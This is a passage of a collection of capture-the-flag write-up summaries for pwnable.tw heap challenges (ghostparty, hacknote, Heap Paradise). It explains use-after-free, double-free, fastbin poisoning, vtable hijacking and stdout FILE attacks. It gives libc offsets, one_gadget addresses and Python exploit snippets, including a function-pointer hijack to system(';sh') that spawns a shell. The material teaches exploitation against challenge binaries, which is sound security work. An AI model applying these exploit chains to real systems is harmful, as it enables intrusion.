ghost subclasses (Werewolf, Devil, Zombie, Skull, Mummy, Dullahan, Vampire, Yuki-onna, Kasa-obake, Alan). Each has a vtable, virtual methods (`speak`, `changemsg`, `ghostinfo`, destructor), and class-specific fields (some raw `char*` pointers, some `std::string`).\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT read-only\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n```\n\n## Vulnerabilities\n\n### V1 — Vampire Missing Copy Constructor (Primary, Use-After-Free / Double-Free)\n\n**Root Cause:** The `Vampire` class has a raw `char *blood` member allocated with `new char[]`, but **no user-defined copy constructor**. The compiler generates a default copy constructor that performs a **shallow copy** of `blood` (copies the pointer, not the data). Meanwhile, `~Vampire()` calls `delete[] blood`.\n\n```cpp\nclass Vampire : public Ghost {\n // NO copy constructor defined!\n // Compiler generates: Vampire(const Vampire &v) { blood = v.blood; ... }\n ~Vampire() { delete[] blood; } // frees the shared pointer\nprivate:\n char *blood;\n};\n```\n\nThe `smalllist\u003cT>()` function's option 3 (\"Join and hear what the ghost say\") calls `speaking(*ghost)` which passes the ghost **by value**:\n\n```cpp\ntemplate \u003cclass T>\nvoid speaking(T ghost) { // pass-by-value → copy constructor called\n ghost.speak();\n}; // temporary destroyed → ~Vampire() → delete[] blood\n\n// In smalllist(), option 3:\ncase 3:\n ghostlist.push_back(ghost); // ghost added to list (original pointer)\n speaking(*ghost); // *ghost copied → shallow copy of blood\n // ~Vampire temporary dies → delete[] blood → UAF on original's blood!\n```\n\n**Impact:** After `smalllist(vampire, 3)`, the Vampire's `blood` pointer is a **dangling pointer** to freed heap memory. Reading `blood` via `ghostinfo()` leaks heap/libc data. The original Vampire's `~Vampire()` later double-frees the chunk.\n\n### V2 — Alan Missing Destructor for `lightsaber` (Use-After-Free)\n\n**Root Cause:** The `Alan` class stores `lightsaber` as `char*` assigned from a temporary `std::string::c_str()`. The `std::string` is destroyed when `addlightsaber()` returns, leaving `lightsaber` as a dangling pointer.\n\n```cpp\nclass Alan : public Ghost {\n void addlightsaber(string str) {\n lightsaber = (char*)str.c_str(); // points to temporary string's buffer\n } // str destroyed → lightsaber dangles\n ~Alan() {}; // no delete → no double-free, but UAF on read\nprivate:\n char *lightsaber;\n};\n```\n\n**Impact:** After construction, the Alan's `lightsaber` pointer points to freed heap memory. Reading it via `ghostinfo()` leaks whatever data now occupies that chunk — commonly `stdout` (`_IO_2_1_stdout_`) address or heap metadata (fd/bk pointers), yielding **libc or heap leaks**.\n\n### V3 — Devil/Zombie/Werewolf Proper Copy Constructors (Not Vulnerable)\n\nThese classes define explicit copy constructors that deep-copy their raw pointers. They serve as contrast to Vampire's missing copy constructor.\n\n```cpp\nclass Devil : public Ghost {\n Devil(const Devil ©ghost) {\n // ...\n power = new char[strlen(copyghost.power)+1]; // deep copy\n strcpy(power, copyghost.power);\n };\n};\n```\n\n## Key Data Structures\n\n### Ghost Object Layout (base class, ~0x68 bytes)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `vtable` | `void**` (compiler-generated) |\n| `0x08` | `age` | `int` |\n| `0x10` | `name` | `char*` (heap-allocated) |\n| `0x18` | `type` | `std::string` (SSO inline or heap) |\n| `0x38` | `msg` | `std::string` (SSO inline or heap) |\n\n### Vampire Object (extends Ghost, ~0x70 chunk = 0x60 usable)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00`–`0x57` | Ghost base fields | (vtable, age, name, type, msg) |\n| `0x58` | `blood` | `char*` ← the vulnerable field |\n\n### Werewolf Object (~0x70 chunk)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00`–`0x57` | Ghost base fields | |\n| `0x58` | `trans` | `int` (full moon flag) |\n\n### Alan Object (~0x70 chunk)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00`–`0x57` | Ghost base fields | |\n| `0x58` | `lightsaber` | `char*` ← dangling after construction |\n\n## Exploit Paths\n\nAll solutions exploit V1 (Vampire shallow copy) and/or V2 (Alan dangling lightsaber) for the initial leak, then diverge on the code execution strategy.\n\n---\n\n### Path A — Vampire UAF → Leak + Fastbin Dup → `__malloc_hook` Overwrite\n\n**Used by:** Solutions 185, 821, 1912, 2972, 34817, and many others\n\n**Steps:**\n\n1. **Leak libc** via Vampire's dangling `blood`:\n - Create a Vampire with a large `blood` (e.g., `0x100` bytes → unsorted bin size). Use option 3 → `blood` freed.\n - The freed chunk's fd/bk contain main_arena pointers. `showinfo(vampire)` prints `Blood:` = libc leak.\n\n2. **Fastbin duplication** via Vampire double-free:\n - Create Vampire with `blood` of size 0x60 (→ 0x70 chunk, fastbin). Use option 3 → blood freed (first free).\n - `rmghost(vampire)` → `~Vampire` calls `delete[] blood` again → **double-free** of the same 0x70 chunk.\n\n3. **Fastbin poisoning** → allocate at `__malloc_hook - 0x23`:\n - Allocate a new object whose 0x70-sized allocation reads from the corrupted fastbin, writing `__malloc_hook - 0x23` as the next fd pointer.\n - Two more 0x70 allocations → the third lands at `__malloc_hook - 0x23`.\n - Write `one_gadget` at offset +0x13 (= `__malloc_hook`).\n\n4. **Trigger `malloc`** → `one_gadget` → shell.\n\n**Reliability:** Deterministic. Full RELRO means GOT is read-only, so `__malloc_hook`/`__realloc_hook` are the standard targets for glibc 2.23.\n\n---\n\n### Path B — Vampire UAF → Vtable Hijack via Chunk Overlap\n\n**Used by:** Solutions 59, 568, 786, 6247, 9251, 31599, 32858\n\n**Steps:**\n\n1. **Leak PIE base** via Vampire UAF + Werewolf:\n - Create Vampire (option 3) with `blood` of size 0x60 → blood freed.\n - Create Werewolf (same 0x60 size) → reuses the freed blood chunk.\n - `showinfo(vampire)` prints `Blood:` = Werewolf's vtable pointer → **PIE base**.\n\n2. **Leak heap/libc** via arbitrary read:\n - `rmghost(vampire)` → `~Vampire` deletes blood = **frees the Werewolf object** while `ghostlist[0]` still points to it (dangling `Ghost*`).\n - Create a Mummy/Kasa/Dullahan whose `std::string` data overlaps the freed Werewolf chunk → **fake Ghost object** at `ghostlist[0]`.\n - Set `fake.name = target_address`. `listghost()` calls `getname()` (non-virtual) → reads string at target → **arbitrary read**.\n - Read `GOT[__libc_start_main]` → libc base. Read `ghostlist` global → heap base.\n\n3. **Hijack vtable** for code execution:\n - Build a final fake Ghost object with `vtable` pointing to a fake vtable on the heap.\n - Fake vtable's `ghostinfo` slot (vtable+0x10) = `one_gadget`.\n - `showinfo(0)` calls `ghostlist[0]->ghostinfo()` → one_gadget → shell.\n\n**Reliability:** Deterministic once addresses are leaked. More complex than Path A but doesn't require fastbin manipulation.\n\n---\n\n### Path C — Alan UAF → Libc Leak + Vampire Double-Free → `__malloc_hook`\n\n**Used by:** Solutions 331, 821, 1351, 6247\n\n**Steps:**\n\n1. **Leak libc** via Alan's dangling `lightsaber`:\n - Create Alan → `lightsaber` points to freed `std::string` buffer on heap.\n - The freed chunk gets reused by libc internal allocations. `showinfo(alan)` prints `Lightsaber:` = whatever pointer occupies the freed chunk → often a libc address (`stdout`, main_arena).\n - Alternatively, create a second Alan with a large lightsaber string to get unsorted bin placement.\n\n2. **Double-free + fastbin poisoning** via Vampire (same as Path A steps 2-4).\n\n3. **Overwrite `__malloc_hook`** with one_gadget → trigger → shell.\n\n---\n\n### Path D — FILE Structure Attack (`_IO_list_all` / stdout vtable)\n\n**Used by:** Solutions 278, 331, 1351, 38838\n\n**Steps:**\n\n1. **Leak libc + heap** via V1 or V2.\n\n2. **Fastbin poisoning** to allocate a chunk overlapping `stdout` or `_IO_list_all`:\n - Use the 0x7f byte near `_IO_list_all` or `stdout` as a fake fastbin chunk size.\n - Overwrite `stdout`'s vtable pointer → point to a fake vtable on the heap.\n\n3. **Fake vtable** with `__overflow` or `xsputn` = `system` or `one_gadget`.\n - When `cout \u003c\u003c` triggers `stdout` vtable dispatch → shell.\n\n**Reliability:** More fragile; requires careful FILE structure crafting.\n\n---\n\n### Path E — Devil UAF → Leak + Vtable Overlap\n\n**Used by:** Solutions 59, 32858\n\nSimilar to Path B but uses Devil's `power` (also a raw `char*`) for UAF-based overlap. Devil has a proper copy constructor, but the by-value pass in `speaking()` still creates opportunities for heap layout manipulation after removal.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Dangling `blood` pointer (UAF read) | V1: Vampire shallow copy | Deterministic |\n| Double-free of `blood` chunk | V1: Vampire dtor + shallow copy dtor | Deterministic |\n| Dangling `lightsaber` pointer (UAF read) | V2: Alan c_str() on temporary | Deterministic |\n| Libc leak (unsorted bin fd/bk) | Read via dangling pointer after free | Deterministic |\n| PIE leak (vtable pointer) | Vampire blood overlaps Werewolf vtable | Deterministic |\n| Heap leak | Read fd pointer from fastbin chunk | Deterministic |\n| Arbitrary read | Fake Ghost object with controlled `name` | After PIE+heap leak |\n| `__malloc_hook` overwrite | Fastbin dup + poisoning (glibc 2.23) | Deterministic |\n| Vtable hijack | Fake vtable on heap → one_gadget | Deterministic |\n\n## Offsets (pwnable.tw `libc_64.so.6`, glibc 2.23)\n\n```python\n# libc offsets\nmain_arena_88 = 0x3c3b78\n__malloc_hook = 0x3c3b10\n__free_hook = 0x3c57a8\nsystem = 0x45390\n__libc_start_main = 0x20740\nstdout = 0x3c4620\n_IO_list_all = 0x3c5520\none_gadgets = [0x45216, 0x4526a, 0xef6c4, 0xf0567]\n\n# binary offsets (PIE-relative)\nWerewolf_vtable = 0x210b98\nghostlist_vector = 0x211030\nGOT_libc_start_main = 0x210e90\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `59.md` | B | Vampire UAF → vtable overlap chain | Chains 3 vampires; overlaps vtable via fastbin |\n| `185.md` | A | Vampire UAF → fastbin dup → `__malloc_hook` | Clean fastbin dup approach |\n| `278.md` | D | Vampire + fastbin → stdout vtable hijack | Ruby; overwrites stdout vtable |\n| `331.md` | D | Alan + Vampire → FILE struct → system | Overwrites stdout FILE struct with `system` |\n| `568.md` | B | Alan UAF → libc leak → vtable hijack | Ruby; uses Alan for leak, Vampire for hijack |\n| `786.md` | B | Vampire + Alan → vtable hijack | Uses dangling blood → vtable dispatch |\n| `821.md` | A+C | Alan UAF → libc, Vampire dup → `__malloc_hook` | Alan lightsaber leak + fastbin dup |\n| `1172.md` | B | Vampire UAF → PIE → arb read → vtable | Full fake Ghost chain via Mummy |\n| `1351.md` | D | Alan + Vampire → `_IO_list_all` | FILE structure attack |\n| `1912.md` | A | Vampire + Alan → fastbin → `__malloc_hook` | Heap + libc double leak |\n| `2972.md` | A | Alan → heap+libc → Vampire dup → `__malloc_hook` | Alan for leaks, Vampire for corruption |\n| `6247.md` | A+C | Alan → libc, Vampire dup → `__malloc_hook` | Concise approach |\n| `8153.md` | A | Vampire → libc, double-free → `__malloc_hook` | Clean; uses `__realloc_hook` variant |\n| `9251.md` | B | Alan → libc+PIE, Vampire → vtable hijack | Full leak chain, fake vtable dispatch |\n| `24887.md` | B+E | Devil UAF → PIE → Vampire vtable spray | C++ exploit (!); uses pwntools C++ bindings |\n| `31599.md` | B | Vampire → PIE, Kasa msg → fake Ghost → arb read | Uses Kasa-obake for fake objects |\n| `32858.md` | B+E | Devil UAF → heap+libc, Vampire → vtable | Spray one_gadget into blood chunks |\n| `34817.md` | A | Vampire → unsorted bin libc → fastbin dup | Minimal approach; \"violates rule of three\" |\n| `38838.md` | D | Alan → libc, Vampire → `_IO_list_all` fastbin | FileStructure attack via `_IO_list_all` |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `artifacts/ghostparty.cpp` | Challenge source code (provided by challenge author) |\n| `artifacts/ghostparty` | Challenge binary (x86-64, PIE, Full RELRO) |\n| `artifacts/libc_64.so.6` | Remote libc (glibc 2.23) |\n| `exp.py` | Working exploit script (Path B: vtable hijack via fake Ghost) |\n| `desc.txt` | Challenge description |\n| `solution/*.md` | Community write-ups (51 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":13471,"content_sha256":"22cca7c71a6b3ae839663dc0613abebd7e32cd6b643d5bd82623b8b51c65b2fc"},{"filename":"pwnable-tw/hacknote.md","content":"---\ntags:\n - use-after-free\n - got-overwrite\n - ret2libc\nplatform: pwnable.tw\npoints: 150\narch: i386\nlibc: glibc-2.23\nrelro: partial\ncanary: yes\nnx: yes\npie: no\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"A use-after-free in note management allows reallocating user data into note metadata chunks, overwriting the print function pointer to call system.\"\nproof-of-concept: no\n---\n\n# hacknote — pwnable.tw (150 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10102`\n>\n> Flag: `FLAG{...}` (dynamic)\n\n## Challenge Overview\n\nA classic heap-note management binary (i386, No PIE, Partial RELRO, NX, Stack Canary) built against glibc 2.23 (32-bit). The program provides four operations: Add Note, Delete Note, Print Note, and Exit. Each note consists of a **metadata struct** (with a function pointer) and a separate **content buffer**, both heap-allocated.\n\n```bash\nchecksec:\n Arch: i386-32-little\n RELRO: Partial RELRO # GOT writable\n Stack: Canary found\n NX: NX enabled\n PIE: No PIE # fixed addresses\n```\n\n## Program Structure\n\nThe program maintains a global array `notelist[5]` of note pointers and a `count` variable. Each note is represented by two heap allocations:\n\n### Note Metadata Struct (8 bytes, `malloc(8)`)\n\n| Offset | Field | Type |\n|--------|-------|------|\n| `0x00` | `print_func` | `void (*)(note *)` — function pointer called during Print Note |\n| `0x04` | `content` | `char *` — pointer to the content buffer |\n\n### Operations (Pseudocode)\n\n```c\n// Add Note (option 1)\nvoid add_note() {\n if (count > 5) return;\n note *p = malloc(8); // metadata struct\n p->print_func = 0x0804862B; // default: prints content via puts()\n printf(\"Note size :\"); scanf(\"%d\", &size);\n p->content = malloc(size); // content buffer\n printf(\"Content :\"); read(0, p->content, size);\n notelist[count++] = p;\n}\n\n// Delete Note (option 2) — VULNERABLE\nvoid delete_note() {\n printf(\"Index :\"); scanf(\"%d\", &idx);\n if (idx \u003c 0 || idx >= count) { puts(\"Out of bound!\"); return; }\n if (notelist[idx]) {\n free(notelist[idx]->content); // free content\n free(notelist[idx]); // free metadata\n // BUG: notelist[idx] is NOT set to NULL\n }\n}\n\n// Print Note (option 3) — triggers function pointer call\nvoid print_note() {\n printf(\"Index :\"); scanf(\"%d\", &idx);\n if (idx \u003c 0 || idx >= count) { puts(\"Out of bound!\"); return; }\n if (notelist[idx])\n notelist[idx]->print_func(notelist[idx]); // calls func ptr with struct as arg\n}\n```\n\n## Vulnerabilities\n\n### V1 — Use-After-Free (Primary, Exploitable)\n\n**Root Cause:** `delete_note()` calls `free()` on both the content buffer and the metadata struct but **does not set `notelist[idx]` to NULL**. The dangling pointer remains in the global array.\n\n```c\nfree(notelist[idx]->content);\nfree(notelist[idx]);\n// notelist[idx] = NULL; ← MISSING\n```\n\n**Impact:** After deletion, calling `print_note(idx)` on the freed index still dereferences `notelist[idx]`, reads the function pointer at offset `+0x00`, and calls it with the struct address as the argument. If the freed chunk has been reallocated and its contents overwritten, the attacker controls the function pointer and its argument.\n\n### V2 — Double Free (Variant of V1)\n\nSince `notelist[idx]` is never NUL'd, `delete_note(idx)` can be called **multiple times** on the same index, causing a double-free. This corrupts the fastbin freelist and enables fastbin dup attacks. Several solutions exploit this variant instead of the basic UAF.\n\n### V3 — No Allocation Limit Enforcement\n\nThe `count` variable only increments, never decrements on delete. Combined with the limit of 5, this restricts total allocations but doesn't prevent UAF/double-free on already-freed notes.\n\n## Key Addresses (Fixed, No PIE)\n\n```python\nNOTE_PRINT_FUNC = 0x0804862B # default print function (calls puts on content)\nPUTS_GOT = 0x0804A024 # puts@GOT\nREAD_GOT = 0x0804A00C # read@GOT\nPRINTF_GOT = 0x0804A010 # printf@GOT\nFREE_GOT = 0x0804A034 # free@GOT\n```\n\n## Exploit Paths\n\nAll solutions exploit V1 (UAF) or V2 (double free). The core technique is the same: reallocate a freed note's metadata chunk with attacker-controlled data to hijack the function pointer. They differ in how the heap is set up and which libc function is leaked.\n\n---\n\n### Path A — Fastbin UAF: Leak GOT via `print_func` + `system(\";sh\")`\n\n**Used by:** ~90% of all solutions (100, 138, 1155, 1251, 1269, 1297, 1303, 1387, 10453, 11699, 12705, 13060, exp.py, etc.)\n\nThis is the canonical solution and the simplest heap exploit pattern.\n\n**Steps:**\n\n1. **Allocate two notes** with small content sizes (8–32 bytes). Both metadata structs (8 bytes) and content buffers land in the same fastbin size class.\n\n```python\nadd(16, \"A\"*16) # note[0]: metadata=malloc(8), content=malloc(16)\nadd(16, \"B\"*16) # note[1]: metadata=malloc(8), content=malloc(16)\n```\n\n2. **Free both notes.** The fastbin freelist for the 0x10 bin (8-byte usable) now contains:\n```text\nfastbin[0x10]: note1_meta → note0_meta → note1_content → note0_content\n```\n(Exact order depends on content size; with size 16, content goes to a different bin.)\n\n3. **Allocate a new note with content size 8.** The metadata struct `malloc(8)` consumes `note1_meta` from the fastbin; the content `malloc(8)` consumes `note0_meta`. Now writing content overwrites `note[0]`'s (freed) metadata:\n\n```python\nadd(8, p32(0x0804862B) + p32(PUTS_GOT))\n# ^print_func ^\"content\" = puts@GOT\n```\n\n4. **Print note[0]** (the freed/dangling pointer). This calls `0x0804862B(note0_meta)` which executes `puts(*(note0_meta+4))` = `puts(puts@GOT)` → leaks the runtime address of `puts`.\n\n```python\nshow(0)\nputs_addr = u32(recv(4))\nlibc_base = puts_addr - libc.symbols['puts']\nsystem = libc_base + libc.symbols['system']\n```\n\n5. **Free the new note, reallocate with `system` + `\";sh\"`:**\n\n```python\ndelete(2)\nadd(8, p32(system) + b\";sh\\x00\")\n```\n\n6. **Print note[0] again.** This calls `system(note0_meta)` which executes `system(\"\\xXX\\xXX\\xXX\\xXX;sh\\x00\")`. The first 4 bytes (the address of `system` itself) produce a command-not-found error, but **`;sh`** starts a shell via command chaining.\n\n**Why `;sh` works:** `system()` invokes `/bin/sh -c \u003carg>`. The argument is the entire 8-byte struct starting at offset 0: `p32(system) + \";sh\\x00\"`. The shell sees two commands separated by `;` — the first (binary garbage) fails silently, the second (`sh`) spawns an interactive shell. Alternatives seen in solutions: `\"||sh\"`, `\"&&sh\"`, `\"; cat /home/hacknote/flag;\"`, `\";/bin/sh\\x00\"`.\n\n**Reliability:** 100% — deterministic, no brute force needed.\n\n---\n\n### Path B — Unsorted Bin Leak + Fastbin UAF\n\n**Used by:** Solutions 1220, 10115, 10453, 12245, 14032\n\nFor notes with content size ≥ 0x80 (outside fastbin range), `free()` places chunks into the **unsorted bin**, which stores `fd`/`bk` pointers into `main_arena` (libc). This provides an alternative libc leak.\n\n**Steps:**\n\n1. **Allocate a large note** (content size ≥ 0x80, e.g., 0x80 or 0x400) and a guard note to prevent top-chunk consolidation.\n2. **Free the large note.** Content chunk goes to the unsorted bin; its `fd`/`bk` now point to `main_arena+X`.\n3. **Reallocate** the same size. The content buffer is served from the unsorted bin. Read back 4 bytes past the user-written data to leak the `fd` pointer.\n4. **Calculate libc base** from `main_arena` offset.\n5. **Proceed with fastbin UAF** (Path A steps 1-6) to get code execution.\n\n```python\nadd(0x80, \"A\") # note[0] — large content\nadd(0x20, \"B\") # note[1] — guard (prevents consolidation with top)\ndelete(0) # content goes to unsorted bin\nadd(0x80, \"XXXX\") # reallocate; read back unsorted bin fd\nshow(0) # leak: 4 bytes of data + 4 bytes of fd pointer\nlibc_base = u32(recv(4)[4:8]) - main_arena_offset\n```\n\n---\n\n### Path C — Large Allocation Overlap\n\n**Used by:** Solutions 1006, 1126, 1236, 10128\n\nInstead of matching fastbin sizes, some solutions use a large allocation that overlaps multiple freed small note structs.\n\n**Steps:**\n\n1. **Allocate two notes** with medium content (128–1000 bytes).\n2. **Free both notes.**\n3. **Allocate a new note with large content** (e.g., 1000+ bytes). The content buffer spans the memory where the old note metadata structs were. Padding + controlled data at the right offset overwrites the old function pointer fields.\n\n```python\nadd(500, \"A\"*500) # note[0]\nadd(500, \"B\"*500) # note[1]\ndelete(1)\ndelete(0)\n# note[0] metadata was at heap+X; with large alloc, content buffer covers it\nadd(1000, \"P\"*504 + p32(0x0804862B) + p32(PUTS_GOT))\nshow(1) # triggers UAF on freed note[1]\n```\n\nThe offset to the function pointer depends on chunk sizes and heap layout (commonly 504 or 1008 bytes of padding, found via cyclic pattern). Less elegant than Path A but still reliable.\n\n---\n\n### Path D — Double Free Fastbin Dup\n\n**Used by:** Solutions 1303, 1316, 1384, 11540\n\nExplicitly trigger double-free on the same index to corrupt the fastbin freelist.\n\n```python\nadd(8, \"sh\\x00\\x00\") # note[0]\nadd(8, \"sh\\x00\\x00\") # note[1]\ndelete(0)\ndelete(1)\ndelete(0) # double free! fastbin: note0 → note1 → note0 → ...\n```\n\nThis creates a cycle in the fastbin. Subsequent allocations return the same chunks repeatedly, allowing controlled overwrites. The rest proceeds like Path A.\n\n## Exploit Primitive Summary\n\n| Primitive | Source | Reliability |\n|-----------|--------|-------------|\n| Use-After-Free | V1: dangling pointer in `notelist[]` | Deterministic |\n| Double Free | V2: no NULL after free | Deterministic |\n| Function pointer hijack | UAF: overwrite `print_func` in reused chunk | Deterministic |\n| libc leak (GOT read) | Call `puts(GOT_entry)` via hijacked `print_func` | Deterministic |\n| libc leak (unsorted bin) | Read `main_arena` pointer from freed large chunk | Deterministic |\n| Code execution | `system(\";sh\")` via hijacked `print_func` | Deterministic |\n\n## Offsets (pwnable.tw `libc_32.so.6`, glibc 2.23, 32-bit)\n\n```python\nputs = 0x05f140\nsystem = 0x03a940\nread = 0x0d41c0\nprintf = 0x049010\nfree = 0x070750\nmain_arena = 0x1b07b0\nbin_sh = 0x158e8b\n```\n\n## Solution Write-ups\n\n| File | Primary Path | Key Technique | Notes |\n|------|-------------|---------------|-------|\n| `exp.py` | A | Fastbin UAF → GOT leak → `system(\";sh\")` | Clean minimal exploit |\n| `100.md` | A | Fastbin UAF, leak via `__libc_start_main` GOT | Python 2 |\n| `138.md` | A | Fastbin UAF → `system(\";/bin/sh;\")` | Ruby implementation |\n| `1006.md` | C | Large alloc overlap (1000 bytes), leak stdout | Offset 504/1008 padding |\n| `1126.md` | C | Large alloc overlap, format string `%19$p` for stack leak | Unique: uses `printf` as print_func for stack leak |\n| `1155.md` | A | Fastbin UAF, content size 20 | Minimal |\n| `1220.md` | B | Unsorted bin leak via `main_arena`, large alloc overlap | Two-phase: unsorted leak + fastbin hijack |\n| `1236.md` | C | Large alloc (1000), heap base leak + libc leak | Multi-step with heap spray |\n| `1251.md` | A | Fastbin UAF, named function `FUCK` | Concise, well-commented |\n| `1269.md` | A | Fastbin UAF, leak via `read@GOT` | Standard |\n| `1297.md` | A | Fastbin UAF, checksec output included | Shows binary protections |\n| `1303.md` | D | Double free → fastbin dup | Explicitly frees same index twice |\n| `1316.md` | D | Double free, extra alloc for dedup | Uses 3 allocs after double free |\n| `1351.md` | A | Fastbin UAF, heap leak via `count` global | Also leaks heap address |\n| `1384.md` | D | Double free fastbin cycle | Explicit `a→b→a` cycle |\n| `10115.md` | B | Unsorted bin leak + double free | Combines both techniques |\n| `10128.md` | C | Large overlap, detailed walkthrough | Best narrative writeup |\n| `10453.md` | B + A | Unsorted bin leak, then fastbin | Japanese, concise |\n| `11540.md` | D | Double free, raw `send` with `%04d` formatting | Unusual I/O style |\n| `12245.md` | B | Unsorted bin leak `main_arena+0x30` | Chinese, good explanation of UAF |\n| `12705.md` | A | Standard, uses 32-byte notes | Clean Python 2 |\n| `13060.md` | A | Standard, uses `puts@GOT` | Modern Python 3 |\n\n## Files\n\n| File | Description |\n|------|-------------|\n| `exp.py` | Working exploit script (vanilla Python, no pwntools) |\n| `desc.txt` | Challenge description |\n| `artifacts/hacknote` | Original challenge binary (i386, stripped) |\n| `artifacts/libc_32.so.6` | Remote libc (glibc 2.23, 32-bit) |\n| `solution/*.md` | Community write-ups (218 solutions) |\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12745,"content_sha256":"24da5f9a91970bd2331c3e8abbe4588e7b4b02823386eea16dc614711752a234"},{"filename":"pwnable-tw/heap_paradise.md","content":"---\ntags:\n - off-by-null\n - fastbin-dup\n - io-file-exploit\nplatform: pwnable.tw\npoints: 350\narch: x86-64\nlibc: glibc-2.23\nrelro: full\ncanary: yes\nnx: yes\npie: yes\nreferences:\n - https://pwnable.tw/challenge/\ndescription: \"An off-by-null single-byte overflow enables fastbin consolidation and duplicate allocation without a show function, leaking libc via _IO_2_1_stdout_.\"\nproof-of-concept: no\n---\n\n# Heap Paradise — pwnable.tw (350 pts)\n\n[← Back to pwnable.tw Challenge Index](README.md)\n\n> `nc chall.pwnable.tw 10308`\n>\n> Flag: `FLAG{W3lc0m3_2_h3ap_p4radis3}`\n\n## Challenge Overview\n\nA minimalist heap menu binary (x86-64, Full RELRO, PIE, NX, Canary, FORTIFY) built against glibc 2.23 (no tcache). The menu provides only Allocate, Free, and Exit — **no view/print functionality**. All allocations are capped at `size \u003c= 0x78`, restricting everything to the fastbin range. A global pointer array `ptr[16]` in `.bss` holds up to 16 allocations (slots are never reused after free).\n\n```bash\nchecksec:\n Arch: amd64-64-little\n RELRO: Full RELRO # GOT not writable\n Stack: Canary found\n NX: NX enabled\n PIE: PIE enabled\n FORTIFY: Enabled\n```\n\n## Vulnerabilities\n\n### V1 — Use-After-Free / Double-Free (Primary, Exploitable)\n\n**Root Cause:** The `Free` function calls `free(ptr[index])` but **never sets `ptr[index]` to NULL**. Since slots are never cleared, the same index can be freed multiple times, and freed pointers remain accessible for re-allocation overlap.\n\n```c\nvoid Free() {\n long index = get_long();\n if (index \u003c= 15)\n free(ptr[index]); // ptr[index] NOT cleared → UAF + double-free\n}\n```\n\n**Impact:** Classic fastbin double-free primitive. Enables fastbin duplication (A→B→A cycle) which leads to overlapping allocations and arbitrary fastbin fd pointer corruption.\n\n### V2 — Signed Index Check (Minor, Unexploited)\n\nThe free index check uses `index \u003c= 15` on a signed long. Negative indices could theoretically free arbitrary BSS pointers, but no solution uses this since the pointer array is at the start of writable BSS with nothing useful before it.\n\n## Key Constraints\n\n| Constraint | Impact |\n|-----------|--------|\n| `size \u003c= 0x78` | All chunks are fastbin-sized (max chunk `0x80`). Cannot directly get unsorted bin libc pointers. |\n| No view/print | Cannot read heap contents through the menu. Must use side-channel (FSOP stdout leak). |\n| 16 slot limit | Slots are consumed on alloc, never reclaimed. Must complete exploit within 16 allocations total. |\n| Full RELRO | GOT is read-only. Must use hook-based (`__malloc_hook` / `__free_hook`) or FSOP attacks. |\n\n## Exploit Paths\n\nAll solutions follow a three-phase structure: (1) get a libc pointer onto the heap, (2) leak libc, (3) hijack control flow. They differ in leak technique and final target.\n\n---\n\n### Path A — Fastbin Dup → Fake Unsorted Chunk → stdout FSOP Leak → `__malloc_hook` Overwrite\n\n**Used by:** ~90% of all solutions (81, 138, 216, 378, 564, 821, 1177, 2796, 5378, 7905, 8153, 9448, 13204, 17704, 22310, 26250, 31599, 34817, 40311, and exp.py)\n\n**Phase 1 — Plant libc pointer on heap:**\n\n1. **Fastbin dup** (double-free A→B→A) to get overlapping chunks. By writing a partial heap address as the `fd` pointer, allocate a chunk that overlaps another, gaining control over an adjacent chunk's size field.\n\n2. **Forge a fake chunk** with `size >= 0x80` (typically `0xa1` or `0x91`) in the overlapping region. This size is above the fastbin max, so freeing it sends it to the **unsorted bin**.\n\n3. **Free the forged chunk** → glibc writes `main_arena+0x58` (a libc address) into the chunk's `fd`/`bk` fields on the heap.\n\n```python\n# Typical Phase 1 pattern:\nalloc(0x68, b'f'*0x10 + p64(0) + p64(0x71)) # 0 — embed fake chunk header\nalloc(0x68, b'a'*0x10 + p64(0) + p64(0x31) + ...) # 1 — embed fake next-chunk\nfree(0); free(1); free(0) # fastbin dup: 0→1→0\nalloc(0x68, b'\\x20') # redirect fd to heap+0x20\nalloc(0x68, b'\\0'); alloc(0x68, b'\\0') # consume chain\nalloc(0x68, b'\\0') # land on fake chunk at heap+0x20\nfree(0)\nalloc(0x68, b'd'*0x10 + p64(0) + p64(0xa1)) # overwrite fake chunk size → 0xa1\nfree(5) # → unsorted bin → libc ptr on heap\n```\n\n**Phase 2 — Leak libc via `_IO_2_1_stdout_` corruption (FSOP):**\n\n4. The unsorted bin remainder (after splitting) or the freed chunk itself contains a `main_arena` pointer in its `fd` field. Using another fastbin dup, **partially overwrite** (2 bytes) this `fd` pointer to redirect it to `_IO_2_1_stdout_ - 0x43`.\n\n5. At `stdout - 0x43`, the byte at offset `+0x8` is `0x7f` (from adjacent libc data), which passes glibc 2.23's fastbin size check for the `0x70` bin.\n\n6. Allocate at `stdout - 0x33` and overwrite the `_IO_FILE` structure:\n - `_flags = 0xfbad1800` (or `0xfbad3887`) — set `_IO_CURRENTLY_PUTTING | _IO_IS_APPENDING`\n - Clear `_IO_read_*` pointers\n - Set `_IO_write_base` low byte to `0x00` or `0x80` — ensures `_IO_write_base \u003c _IO_write_ptr`\n\n7. The next `puts()` call flushes `[_IO_write_base, _IO_write_ptr)`, **leaking libc pointers** from the stdout internal buffer (typically `_IO_2_1_stdin_` address).\n\n```python\n# Partial overwrite: only low 2 bytes known, bits 12-15 are guessed → 1/16 probability\nlow2 = p16((_IO_2_1_stdout_ - 0x43) & 0xFFFF) # e.g., 0x25dd or 0x45dd\nalloc(0x68, padding + p64(0x71) + low2) # partial overwrite fd\nalloc(0x68, b'\\0') # consume\nalloc(0x68, b'\\0'*3 + p64(0)*6 + p64(0xfbad1800) + p64(0)*3 + b'\\x00') # corrupt stdout\n# → next puts() leaks libc\n```\n\n**Phase 3 — Overwrite `__malloc_hook` with one_gadget:**\n\n8. With full libc base known, do a final fastbin dup. Set `fd = __malloc_hook - 0x23` (where offset `+0x8` has byte `0x7f` from 